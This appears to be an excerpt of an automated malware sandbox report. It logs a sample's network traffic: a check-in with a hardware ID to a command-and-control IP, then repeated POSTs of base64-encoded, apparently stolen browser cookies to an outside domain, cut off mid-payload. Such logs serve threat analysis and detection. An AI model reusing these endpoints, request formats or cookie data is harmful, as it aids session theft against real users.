"WTSQuerySessionInformationW" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp")8b:T6ebb,"POST /3886d2276f6914c4.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.172.128.79 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------KEHDBAEGIIIEBGCAAFHI Content-Disposition: form-data; name="hwid" A068533DF54E758809014 ------KEHDBAEGIIIEBGCAAFHI Content-Disposition: form-data; name="build" default8 ------KEHDBAEGIIIEBGCAAFHI--" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 16:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive with response body ==>596D78765932733D....... "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18758&key=f50ac250b3ae4c8bf06418549efed11b HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18792&key=c5c68af0454507c4cb48f224084f5369 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18805&key=e5bee4d2e3e91ecae881f3a9893140c8 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18827&key=491ce436d2274a8d7cd2de47b6b100a6 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18846&key=ca3b1230b497f309f0f65e69b8b578ac HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18883&key=46cea1de4ba794f10093a8f31488305a HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18895&key=1623659f56b70306faa0debe60e9b013 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18920&key=9ce9076621f9485c3c27d9d29a352fc4 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18930&key=47488a34440f0acbb377f84fb5870304 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18953&key=cb4a78095c9f0aa56cfa832ea2ad530c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18962&key=a32cd1d80b5f71e3ba8211b6dd1afefc HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUyb